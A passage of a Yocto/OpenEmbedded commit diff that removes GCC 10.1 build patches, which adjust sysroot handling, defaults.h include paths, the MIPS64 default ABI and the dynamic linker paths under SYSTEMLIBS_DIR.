-+++ b/gcc/doc/invoke.texi
-@@ -230,6 +230,9 @@ in the following sections.
- -fno-weak -nostdinc++ @gol
- -fvisibility-inlines-hidden @gol
- -fvisibility-ms-compat @gol
-+-fvtable-verify=@r{[}std@r{|}preinit@r{|}none@r{]} @gol
-+-fvtv-counts -fvtv-debug @gol
-+-nostdlib++ @gol
- -fext-numeric-literals @gol
- -Wabi-tag -Wcatch-value -Wcatch-value=@var{n} @gol
- -Wno-class-conversion -Wclass-memaccess @gol
-@@ -599,7 +602,7 @@ Objective-C and Objective-C++ Dialects}.
- -pie -pthread -r -rdynamic @gol
- -s -static -static-pie -static-libgcc -static-libstdc++ @gol
- -static-libasan -static-libtsan -static-liblsan -static-libubsan @gol
---shared -shared-libgcc -symbolic @gol
-+-shared -shared-libgcc -symbolic -nostdlib++ @gol
- -T @var{script} -Wl,@var{option} -Xlinker @var{option} @gol
- -u @var{symbol} -z @var{keyword}}
-
-@@ -14407,6 +14410,33 @@ Specify that the program entry point is @var{entry}. The argument is
- interpreted by the linker; the GNU linker accepts either a symbol name
- or an address.
-
-+@item -nostdlib++
-+@opindex nostdlib++
-+Do not use the standard system C++ runtime libraries when linking.
-+Only the libraries you specify will be passed to the linker.
-+
-+@cindex @option{-lgcc}, use with @option{-nostdlib}
-+@cindex @option{-nostdlib} and unresolved references
-+@cindex unresolved references and @option{-nostdlib}
-+@cindex @option{-lgcc}, use with @option{-nodefaultlibs}
-+@cindex @option{-nodefaultlibs} and unresolved references
-+@cindex unresolved references and @option{-nodefaultlibs}
-+One of the standard libraries bypassed by @option{-nostdlib} and
-+@option{-nodefaultlibs} is @file{libgcc.a}, a library of internal subroutines
-+which GCC uses to overcome shortcomings of particular machines, or special
-+needs for some languages.
-+(@xref{Interface,,Interfacing to GCC Output,gccint,GNU Compiler
-+Collection (GCC) Internals},
-+for more discussion of @file{libgcc.a}.)
-+In most cases, you need @file{libgcc.a} even when you want to avoid
-+other standard libraries. In other words, when you specify @option{-nostdlib}
-+or @option{-nodefaultlibs} you should usually specify @option{-lgcc} as well.
-+This ensures that you have no unresolved references to internal GCC
-+library subroutines.
-+(An example of such an internal subroutine is @code{__main}, used to ensure C++
-+constructors are called; @pxref{Collect2,,@code{collect2}, gccint,
-+GNU Compiler Collection (GCC) Internals}.)
-+
- @item -pie
- @opindex pie
- Produce a dynamically linked position independent executable on targets
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index b2200c5185a..f8be58ce0a6 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -1051,6 +1051,7 @@ proper position among the other output files. */
- %(mflib) " STACK_SPLIT_SPEC "\
- %{fprofile-arcs|fprofile-generate*|coverage:-lgcov} " SANITIZER_SPEC " \
- %{!nostdlib:%{!r:%{!nodefaultlibs:%(link_ssp) %(link_gcc_c_sequence)}}}\
-+ %{!nostdlib++:}\
- %{!nostdlib:%{!r:%{!nostartfiles:%E}}} %{T*} \n%(post_link) }}}}}}"
- #endif
-
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0006-COLLECT_GCC_OPTIONS.patch b/meta/recipes-devtools/gcc/gcc-10.1/0006-COLLECT_GCC_OPTIONS.patch
deleted file mode 100644
index 9fbbe80703..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0006-COLLECT_GCC_OPTIONS.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From a6c90d3a9c5010b4aa7cc30467cf81ca7e0f430e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:16:28 +0400
-Subject: [PATCH] COLLECT_GCC_OPTIONS
-
-This patch adds --sysroot into COLLECT_GCC_OPTIONS which is used to
-invoke collect2.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- gcc/gcc.c | 9 +++++++++
- 1 file changed, 9 insertions(+)
-
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index f8be58ce0a6..48b0f9dde81 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -4806,6 +4806,15 @@ set_collect_gcc_options (void)
- sizeof ("COLLECT_GCC_OPTIONS=") - 1);
-
- first_time = TRUE;
-+#ifdef HAVE_LD_SYSROOT
-+ if (target_system_root_changed && target_system_root)
-+ {
-+ obstack_grow (&collect_obstack, "'--sysroot=", sizeof("'--sysroot=")-1);
-+ obstack_grow (&collect_obstack, target_system_root,strlen(target_system_root));
-+ obstack_grow (&collect_obstack, "'", 1);
-+ first_time = FALSE;
-+ }
-+#endif
- for (i = 0; (int) i < n_switches; i++)
- {
- const char *const *args;
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch b/meta/recipes-devtools/gcc/gcc-10.1/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch
deleted file mode 100644
index a764bdd0f4..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch
+++ /dev/null
@@ -1,92 +0,0 @@
-From 5670d4489f119d2da661734895ac0be99b606d1b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:17:25 +0400
-Subject: [PATCH] Use the defaults.h in ${B} instead of ${S}, and t-oe in ${B}
-
-Use the defaults.h in ${B} instead of ${S}, and t-oe in ${B}, so that
-the source can be shared between gcc-cross-initial,
-gcc-cross-intermediate, gcc-cross, gcc-runtime, and also the sdk build.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
-
-While compiling gcc-crosssdk-initial-x86_64 on some host, there is
-occasionally failure that test the existance of default.h doesn't
-work, the reason is tm_include_list='** defaults.h' rather than
-tm_include_list='** ./defaults.h'
-
-So we add the test condition for this situation.
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- gcc/Makefile.in | 2 +-
- gcc/configure | 4 ++--
- gcc/configure.ac | 4 ++--
- gcc/mkconfig.sh | 4 ++--
- 4 files changed, 7 insertions(+), 7 deletions(-)
-
-diff --git a/gcc/Makefile.in b/gcc/Makefile.in
-index 543b477ff18..a67d2cc18d6 100644
---- a/gcc/Makefile.in
-+++ b/gcc/Makefile.in
-@@ -540,7 +540,7 @@ TARGET_SYSTEM_ROOT = @TARGET_SYSTEM_ROOT@
- TARGET_SYSTEM_ROOT_DEFINE = @TARGET_SYSTEM_ROOT_DEFINE@
-
- xmake_file=@xmake_file@
--tmake_file=@tmake_file@
-+tmake_file=@tmake_file@ ./t-oe
- TM_ENDIAN_CONFIG=@TM_ENDIAN_CONFIG@
- TM_MULTILIB_CONFIG=@TM_MULTILIB_CONFIG@
- TM_MULTILIB_EXCEPTIONS_CONFIG=@TM_MULTILIB_EXCEPTIONS_CONFIG@
-diff --git a/gcc/configure b/gcc/configure
-index 8de766a942c..b26e8fc7fee 100755
---- a/gcc/configure
-+++ b/gcc/configure
-@@ -12705,8 +12705,8 @@ for f in $tm_file; do
- tm_include_list="${tm_include_list} $f"
- ;;
- defaults.h )
-- tm_file_list="${tm_file_list} \$(srcdir)/$f"
-- tm_include_list="${tm_include_list} $f"
-+ tm_file_list="${tm_file_list} ./$f"
-+ tm_include_list="${tm_include_list} ./$f"
- ;;
- * )
- tm_file_list="${tm_file_list} \$(srcdir)/config/$f"
-diff --git a/gcc/configure.ac b/gcc/configure.ac
-index 8bfd6feb780..26fa46802c7 100644
---- a/gcc/configure.ac
-+++ b/gcc/configure.ac
-@@ -2138,8 +2138,8 @@ for f in $tm_file; do
- tm_include_list="${tm_include_list} $f"
- ;;
- defaults.h )
-- tm_file_list="${tm_file_list} \$(srcdir)/$f"
-- tm_include_list="${tm_include_list} $f"
-+ tm_file_list="${tm_file_list} ./$f"
-+ tm_include_list="${tm_include_list} ./$f"
- ;;
- * )
- tm_file_list="${tm_file_list} \$(srcdir)/config/$f"
-diff --git a/gcc/mkconfig.sh b/gcc/mkconfig.sh
-index d2c677a4a42..d03852481cb 100644
---- a/gcc/mkconfig.sh
-+++ b/gcc/mkconfig.sh
-@@ -77,7 +77,7 @@ if [ -n "$HEADERS" ]; then
- if [ $# -ge 1 ]; then
- echo '#ifdef IN_GCC' >> ${output}T
- for file in "$@"; do
-- if test x"$file" = x"defaults.h"; then
-+ if test x"$file" = x"./defaults.h" -o x"$file" = x"defaults.h"; then
- postpone_defaults_h="yes"
- else
- echo "# include \"$file\"" >> ${output}T
-@@ -106,7 +106,7 @@ esac
-
- # If we postponed including defaults.h, add the #include now.
- if test x"$postpone_defaults_h" = x"yes"; then
-- echo "# include \"defaults.h\"" >> ${output}T
-+ echo "# include \"./defaults.h\"" >> ${output}T
- fi
-
- # Add multiple inclusion protection guard, part two.
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0008-fortran-cross-compile-hack.patch b/meta/recipes-devtools/gcc/gcc-10.1/0008-fortran-cross-compile-hack.patch
deleted file mode 100644
index 714db3bef5..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0008-fortran-cross-compile-hack.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From f05062625e7a4751be723595a2f7a4b7fbeff311 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:20:01 +0400
-Subject: [PATCH] fortran cross-compile hack.
-
-* Fortran would have searched for arm-angstrom-gnueabi-gfortran but would have used
-used gfortan. For gcc_4.2.2.bb we want to use the gfortran compiler from our cross
-directory.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Inappropriate [embedded specific]
----
- libgfortran/configure | 2 +-
- libgfortran/configure.ac | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/libgfortran/configure b/libgfortran/configure
-index b4cf854ddb3..e8e0ac3b1cf 100755
---- a/libgfortran/configure
-+++ b/libgfortran/configure
-@@ -13090,7 +13090,7 @@ esac
-
- # We need gfortran to compile parts of the library
- #AC_PROG_FC(gfortran)
--FC="$GFORTRAN"
-+#FC="$GFORTRAN"
- ac_ext=${ac_fc_srcext-f}
- ac_compile='$FC -c $FCFLAGS $ac_fcflags_srcext conftest.$ac_ext >&5'
- ac_link='$FC -o conftest$ac_exeext $FCFLAGS $LDFLAGS $ac_fcflags_srcext conftest.$ac_ext $LIBS >&5'
-diff --git a/libgfortran/configure.ac b/libgfortran/configure.ac
-index 711dc60ff78..3c9bbfbf47d 100644
---- a/libgfortran/configure.ac
-+++ b/libgfortran/configure.ac
-@@ -258,7 +258,7 @@ AC_SUBST(enable_static)
-
- # We need gfortran to compile parts of the library
- #AC_PROG_FC(gfortran)
--FC="$GFORTRAN"
-+#FC="$GFORTRAN"
- AC_PROG_FC(gfortran)
-
- # extra LD Flags which are required for targets
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0009-cpp-honor-sysroot.patch b/meta/recipes-devtools/gcc/gcc-10.1/0009-cpp-honor-sysroot.patch
deleted file mode 100644
index 8ad6853d81..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0009-cpp-honor-sysroot.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 1d76de7f1f5c99f1fa1a4b14aedad3d702e4e136 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:22:00 +0400
-Subject: [PATCH] cpp: honor sysroot.
-
-Currently, if the gcc toolchain is relocated and installed from sstate, then you try and compile
-preprocessed source (.i or .ii files), the compiler will try and access the builtin sysroot location
-rather than the --sysroot option specified on the commandline. If access to that directory is
-permission denied (unreadable), gcc will error.
-
-This happens when ccache is in use due to the fact it uses preprocessed source files.
-
-The fix below adds %I to the cpp-output spec macro so the default substitutions for -iprefix,
--isystem, -isysroot happen and the correct sysroot is used.
-
-[YOCTO #2074]
-
-RP 2012/04/13
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- gcc/cp/lang-specs.h | 2 +-
- gcc/gcc.c | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/gcc/cp/lang-specs.h b/gcc/cp/lang-specs.h
-index 0ad4a33b93e..16c744f4f90 100644
---- a/gcc/cp/lang-specs.h
-+++ b/gcc/cp/lang-specs.h
-@@ -66,5 +66,5 @@ along with GCC; see the file COPYING3. If not see
- {".ii", "@c++-cpp-output", 0, 0, 0},
- {"@c++-cpp-output",
- "%{!E:%{!M:%{!MM:"
-- " cc1plus -fpreprocessed %i %(cc1_options) %2"
-+ " cc1plus -fpreprocessed %i %I %(cc1_options) %2"
- " %{!fsyntax-only:%(invoke_as)}}}}", 0, 0, 0},
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index 48b0f9dde81..c87f603955f 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -1348,7 +1348,7 @@ static const struct compiler default_compilers[] =
- %W{o*:--output-pch=%*}}%V}}}}}}}", 0, 0, 0},
- {".i", "@cpp-output", 0, 0, 0},
- {"@cpp-output",
-- "%{!M:%{!MM:%{!E:cc1 -fpreprocessed %i %(cc1_options) %{!fsyntax-only:%(invoke_as)}}}}", 0, 0, 0},
-+ "%{!M:%{!MM:%{!E:cc1 -fpreprocessed %i %I %(cc1_options) %{!fsyntax-only:%(invoke_as)}}}}", 0, 0, 0},
- {".s", "@assembler", 0, 0, 0},
- {"@assembler",
- "%{!M:%{!MM:%{!E:%{!S:as %(asm_debug) %(asm_options) %i %A }}}}", 0, 0, 0},
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0010-MIPS64-Default-to-N64-ABI.patch b/meta/recipes-devtools/gcc/gcc-10.1/0010-MIPS64-Default-to-N64-ABI.patch
deleted file mode 100644
index 625e2d8709..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0010-MIPS64-Default-to-N64-ABI.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From 4fad4433c96bc9d0d9d124f9674fb3389f6f426e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:23:08 +0400
-Subject: [PATCH] MIPS64: Default to N64 ABI
-
-MIPS64 defaults to n32 ABI, this patch makes it
-so that it defaults to N64 ABI
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Inappropriate [OE config specific]
----
- gcc/config.gcc | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/gcc/config.gcc b/gcc/config.gcc
-index cf1a87e2efd..37c4221a39f 100644
---- a/gcc/config.gcc
-+++ b/gcc/config.gcc
-@@ -2511,29 +2511,29 @@ mips*-*-linux*) # Linux MIPS, either endian.
- default_mips_arch=mips32
- ;;
- mips64el-st-linux-gnu)
-- default_mips_abi=n32
-+ default_mips_abi=64
- tm_file="${tm_file} mips/st.h"
- tmake_file="${tmake_file} mips/t-st"
- enable_mips_multilibs="yes"
- ;;
- mips64octeon*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- tm_defines="${tm_defines} MIPS_CPU_STRING_DEFAULT=\\\"octeon\\\""
- target_cpu_default=MASK_SOFT_FLOAT_ABI
- enable_mips_multilibs="yes"
- ;;
- mipsisa64r6*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- default_mips_arch=mips64r6
- enable_mips_multilibs="yes"
- ;;
- mipsisa64r2*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- default_mips_arch=mips64r2
- enable_mips_multilibs="yes"
- ;;
- mips64*-*-linux* | mipsisa64*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- enable_mips_multilibs="yes"
- ;;
- esac
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch b/meta/recipes-devtools/gcc/gcc-10.1/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch
deleted file mode 100644
index e357976330..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch
+++ /dev/null
@@ -1,243 +0,0 @@
-From 8fc016a53c22c19feccbfa13ebdf19090dc67058 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:24:50 +0400
-Subject: [PATCH] Define GLIBC_DYNAMIC_LINKER and UCLIBC_DYNAMIC_LINKER
- relative to SYSTEMLIBS_DIR
-
-This patch defines GLIBC_DYNAMIC_LINKER and UCLIBC_DYNAMIC_LINKER
-relative to SYSTEMLIBS_DIR which can be set in generated headers
-This breaks the assumption of hardcoded multilib in gcc
-Change is only for the supported architectures in OE including
-SH, sparc, alpha for possible future support (if any)
-
-Removes the do_headerfix task in metadata
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Inappropriate [OE configuration]
----
- gcc/config/alpha/linux-elf.h | 4 ++--
- gcc/config/arm/linux-eabi.h | 4 ++--
- gcc/config/arm/linux-elf.h | 2 +-
- gcc/config/i386/linux.h | 2 +-
- gcc/config/i386/linux64.h | 6 +++---
- gcc/config/linux.h | 8 ++++----
- gcc/config/mips/linux.h | 12 ++++++------
- gcc/config/riscv/linux.h | 2 +-
- gcc/config/rs6000/linux64.h | 15 +++++----------
- gcc/config/sh/linux.h | 2 +-
- gcc/config/sparc/linux.h | 2 +-
- gcc/config/sparc/linux64.h | 4 ++--
- 12 files changed, 29 insertions(+), 34 deletions(-)
-
-diff --git a/gcc/config/alpha/linux-elf.h b/gcc/config/alpha/linux-elf.h
-index e25fcac3c59..01aca0c6542 100644
---- a/gcc/config/alpha/linux-elf.h
-+++ b/gcc/config/alpha/linux-elf.h
-@@ -23,8 +23,8 @@ along with GCC; see the file COPYING3. If not see
- #define EXTRA_SPECS \
- { "elf_dynamic_linker", ELF_DYNAMIC_LINKER },
-
--#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux.so.2"
--#define UCLIBC_DYNAMIC_LINKER "/lib/ld-uClibc.so.0"
-+#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux.so.2"
-+#define UCLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-uClibc.so.0"
- #if DEFAULT_LIBC == LIBC_UCLIBC
- #define CHOOSE_DYNAMIC_LINKER(G, U) "%{mglibc:" G ";:" U "}"
- #elif DEFAULT_LIBC == LIBC_GLIBC
-diff --git a/gcc/config/arm/linux-eabi.h b/gcc/config/arm/linux-eabi.h
-index 5bdcfa0c5d3..0c0332f317f 100644
---- a/gcc/config/arm/linux-eabi.h
-+++ b/gcc/config/arm/linux-eabi.h
-@@ -65,8 +65,8 @@
- GLIBC_DYNAMIC_LINKER_DEFAULT and TARGET_DEFAULT_FLOAT_ABI. */
-
- #undef GLIBC_DYNAMIC_LINKER
--#define GLIBC_DYNAMIC_LINKER_SOFT_FLOAT "/lib/ld-linux.so.3"
--#define GLIBC_DYNAMIC_LINKER_HARD_FLOAT "/lib/ld-linux-armhf.so.3"
-+#define GLIBC_DYNAMIC_LINKER_SOFT_FLOAT SYSTEMLIBS_DIR "ld-linux.so.3"
-+#define GLIBC_DYNAMIC_LINKER_HARD_FLOAT SYSTEMLIBS_DIR "ld-linux-armhf.so.3"
- #define GLIBC_DYNAMIC_LINKER_DEFAULT GLIBC_DYNAMIC_LINKER_SOFT_FLOAT
-
- #define GLIBC_DYNAMIC_LINKER \
-diff --git a/gcc/config/arm/linux-elf.h b/gcc/config/arm/linux-elf.h
-index 0ec3aa53189..abfa9566d74 100644
---- a/gcc/config/arm/linux-elf.h
-+++ b/gcc/config/arm/linux-elf.h
-@@ -60,7 +60,7 @@
-
- #define LIBGCC_SPEC "%{mfloat-abi=soft*:-lfloat} -lgcc"
-
--#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux.so.2"
-+#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux.so.2"
-
- #define LINUX_TARGET_LINK_SPEC "%{h*} \
- %{static:-Bstatic} \
-diff --git a/gcc/config/i386/linux.h b/gcc/config/i386/linux.h
-index 9f823f125ed..e0390b7d5e3 100644
---- a/gcc/config/i386/linux.h
-+++ b/gcc/config/i386/linux.h
-@@ -20,7 +20,7 @@ along with GCC; see the file COPYING3. If not see
- <http://www.gnu.org/licenses/>. */
-
- #define GNU_USER_LINK_EMULATION "elf_i386"
--#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux.so.2"
-+#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux.so.2"
-
- #undef MUSL_DYNAMIC_LINKER
- #define MUSL_DYNAMIC_LINKER "/lib/ld-musl-i386.so.1"
-diff --git a/gcc/config/i386/linux64.h b/gcc/config/i386/linux64.h
-index 6cb68d1ccfa..7de09ec857c 100644
---- a/gcc/config/i386/linux64.h
-+++ b/gcc/config/i386/linux64.h
-@@ -27,9 +27,9 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
- #define GNU_USER_LINK_EMULATION64 "elf_x86_64"
- #define GNU_USER_LINK_EMULATIONX32 "elf32_x86_64"
-
--#define GLIBC_DYNAMIC_LINKER32 "/lib/ld-linux.so.2"
--#define GLIBC_DYNAMIC_LINKER64 "/lib64/ld-linux-x86-64.so.2"
--#define GLIBC_DYNAMIC_LINKERX32 "/libx32/ld-linux-x32.so.2"
-+#define GLIBC_DYNAMIC_LINKER32 SYSTEMLIBS_DIR "ld-linux.so.2"
-+#define GLIBC_DYNAMIC_LINKER64 SYSTEMLIBS_DIR "ld-linux-x86-64.so.2"
-+#define GLIBC_DYNAMIC_LINKERX32 SYSTEMLIBS_DIR "ld-linux-x32.so.2"
-
- #undef MUSL_DYNAMIC_LINKER32
- #define MUSL_DYNAMIC_LINKER32 "/lib/ld-musl-i386.so.1"
-diff --git a/gcc/config/linux.h b/gcc/config/linux.h
-index 95654bcdb5a..0c1a8118a26 100644
---- a/gcc/config/linux.h
-+++ b/gcc/config/linux.h
-@@ -94,10 +94,10 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
- GLIBC_DYNAMIC_LINKER must be defined for each target using them, or
- GLIBC_DYNAMIC_LINKER32 and GLIBC_DYNAMIC_LINKER64 for targets
- supporting both 32-bit and 64-bit compilation. */
--#define UCLIBC_DYNAMIC_LINKER "/lib/ld-uClibc.so.0"
--#define UCLIBC_DYNAMIC_LINKER32 "/lib/ld-uClibc.so.0"
--#define UCLIBC_DYNAMIC_LINKER64 "/lib/ld64-uClibc.so.0"
--#define UCLIBC_DYNAMIC_LINKERX32 "/lib/ldx32-uClibc.so.0"
-+#define UCLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-uClibc.so.0"
-+#define UCLIBC_DYNAMIC_LINKER32 SYSTEMLIBS_DIR "ld-uClibc.so.0"
-+#define UCLIBC_DYNAMIC_LINKER64 SYSTEMLIBS_DIR "ld64-uClibc.so.0"
-+#define UCLIBC_DYNAMIC_LINKERX32 SYSTEMLIBS_DIR "ldx32-uClibc.so.0"
- #define BIONIC_DYNAMIC_LINKER "/system/bin/linker"
- #define BIONIC_DYNAMIC_LINKER32 "/system/bin/linker"
- #define BIONIC_DYNAMIC_LINKER64 "/system/bin/linker64"
-diff --git a/gcc/config/mips/linux.h b/gcc/config/mips/linux.h
-index 54446e58e5f..4786ee304c1 100644
---- a/gcc/config/mips/linux.h
-+++ b/gcc/config/mips/linux.h
-@@ -22,20 +22,20 @@ along with GCC; see the file COPYING3. If not see
- #define GNU_USER_LINK_EMULATIONN32 "elf32%{EB:b}%{EL:l}tsmipn32"
-
- #define GLIBC_DYNAMIC_LINKER32 \
-- "%{mnan=2008:/lib/ld-linux-mipsn8.so.1;:/lib/ld.so.1}"
-+ "%{mnan=2008:" SYSTEMLIBS_DIR "ld-linux-mipsn8.so.1;:" SYSTEMLIBS_DIR "ld.so.1}"
- #define GLIBC_DYNAMIC_LINKER64 \
-- "%{mnan=2008:/lib64/ld-linux-mipsn8.so.1;:/lib64/ld.so.1}"
-+ "%{mnan=2008:" SYSTEMLIBS_DIR "ld-linux-mipsn8.so.1;:" SYSTEMLIBS_DIR "ld.so.1}"
- #define GLIBC_DYNAMIC_LINKERN32 \
-- "%{mnan=2008:/lib32/ld-linux-mipsn8.so.1;:/lib32/ld.so.1}"
-+ "%{mnan=2008:" SYSTEMLIBS_DIR "ld-linux-mipsn8.so.1;:" SYSTEMLIBS_DIR "ld.so.1}"
-
- #undef UCLIBC_DYNAMIC_LINKER32
- #define UCLIBC_DYNAMIC_LINKER32 \
-- "%{mnan=2008:/lib/ld-uClibc-mipsn8.so.0;:/lib/ld-uClibc.so.0}"
-+ "%{mnan=2008:" SYSTEMLIBS_DIR "ld-uClibc-mipsn8.so.0;:" SYSTEMLIBS_DIR "ld-uClibc.so.0}"
- #undef UCLIBC_DYNAMIC_LINKER64
- #define UCLIBC_DYNAMIC_LINKER64 \
-- "%{mnan=2008:/lib/ld64-uClibc-mipsn8.so.0;:/lib/ld64-uClibc.so.0}"
-+ "%{mnan=2008:" SYSTEMLIBS_DIR "ld64-uClibc-mipsn8.so.0;:" SYSTEMLIBS_DIR "ld64-uClibc.so.0}"
- #define UCLIBC_DYNAMIC_LINKERN32 \
-- "%{mnan=2008:/lib32/ld-uClibc-mipsn8.so.0;:/lib32/ld-uClibc.so.0}"
-+ "%{mnan=2008:" SYSTEMLIBS_DIR "ld-uClibc-mipsn8.so.0;:" SYSTEMLIBS_DIR "ld-uClibc.so.0}"
-
- #undef MUSL_DYNAMIC_LINKER32
- #define MUSL_DYNAMIC_LINKER32 \
-diff --git a/gcc/config/riscv/linux.h b/gcc/config/riscv/linux.h
-index 4afef7c228c..01997330741 100644
---- a/gcc/config/riscv/linux.h
-+++ b/gcc/config/riscv/linux.h
-@@ -22,7 +22,7 @@ along with GCC; see the file COPYING3. If not see
- GNU_USER_TARGET_OS_CPP_BUILTINS(); \
- } while (0)
-
--#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-riscv" XLEN_SPEC "-" ABI_SPEC ".so.1"
-+#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-riscv" XLEN_SPEC "-" ABI_SPEC ".so.1"
-
- #define MUSL_ABI_SUFFIX \
- "%{mabi=ilp32:-sf}" \
-diff --git a/gcc/config/rs6000/linux64.h b/gcc/config/rs6000/linux64.h
-index 34776c8421e..967c1c43c63 100644
---- a/gcc/config/rs6000/linux64.h
-+++ b/gcc/config/rs6000/linux64.h
-@@ -419,24 +419,19 @@ extern int dot_symbols;
- #undef LINK_OS_DEFAULT_SPEC
- #define LINK_OS_DEFAULT_SPEC "%(link_os_linux)"
-
--#define GLIBC_DYNAMIC_LINKER32 "%(dynamic_linker_prefix)/lib/ld.so.1"
--
-+#define GLIBC_DYNAMIC_LINKER32 SYSTEMLIBS_DIR "ld.so.1"
- #ifdef LINUX64_DEFAULT_ABI_ELFv2
--#define GLIBC_DYNAMIC_LINKER64 \
--"%{mabi=elfv1:%(dynamic_linker_prefix)/lib64/ld64.so.1;" \
--":%(dynamic_linker_prefix)/lib64/ld64.so.2}"
-+#define GLIBC_DYNAMIC_LINKER64 "%{mabi=elfv1:" SYSTEMLIBS_DIR "ld64.so.1;:" SYSTEMLIBS_DIR "ld64.so.2}"
- #else
--#define GLIBC_DYNAMIC_LINKER64 \
--"%{mabi=elfv2:%(dynamic_linker_prefix)/lib64/ld64.so.2;" \
--":%(dynamic_linker_prefix)/lib64/ld64.so.1}"
-+#define GLIBC_DYNAMIC_LINKER64 "%{mabi=elfv2:" SYSTEMLIBS_DIR "ld64.so.2;:" SYSTEMLIBS_DIR "ld64.so.1}"
- #endif
-
- #undef MUSL_DYNAMIC_LINKER32
- #define MUSL_DYNAMIC_LINKER32 \
-- "/lib/ld-musl-powerpc" MUSL_DYNAMIC_LINKER_E "%{msoft-float:-sf}.so.1"
-+ SYSTEMLIBS_DIR "ld-musl-powerpc" MUSL_DYNAMIC_LINKER_E "%{msoft-float:-sf}.so.1"
- #undef MUSL_DYNAMIC_LINKER64
- #define MUSL_DYNAMIC_LINKER64 \
-- "/lib/ld-musl-powerpc64" MUSL_DYNAMIC_LINKER_E "%{msoft-float:-sf}.so.1"
-+ SYSTEMLIBS_DIR "ld-musl-powerpc64" MUSL_DYNAMIC_LINKER_E "%{msoft-float:-sf}.so.1"
-
- #undef DEFAULT_ASM_ENDIAN
- #if (TARGET_DEFAULT & MASK_LITTLE_ENDIAN)
-diff --git a/gcc/config/sh/linux.h b/gcc/config/sh/linux.h
-index c1d0441d488..81373eb8336 100644
---- a/gcc/config/sh/linux.h
-+++ b/gcc/config/sh/linux.h
-@@ -64,7 +64,7 @@ along with GCC; see the file COPYING3. If not see
- "/lib/ld-musl-sh" MUSL_DYNAMIC_LINKER_E MUSL_DYNAMIC_LINKER_FP \
- "%{mfdpic:-fdpic}.so.1"
-
--#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux.so.2"
-+#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux.so.2"
-
- #undef SUBTARGET_LINK_EMUL_SUFFIX
- #define SUBTARGET_LINK_EMUL_SUFFIX "%{mfdpic:_fd;:_linux}"
-diff --git a/gcc/config/sparc/linux.h b/gcc/config/sparc/linux.h
-index 81201e67a2f..8b6fc577594 100644
---- a/gcc/config/sparc/linux.h
-+++ b/gcc/config/sparc/linux.h
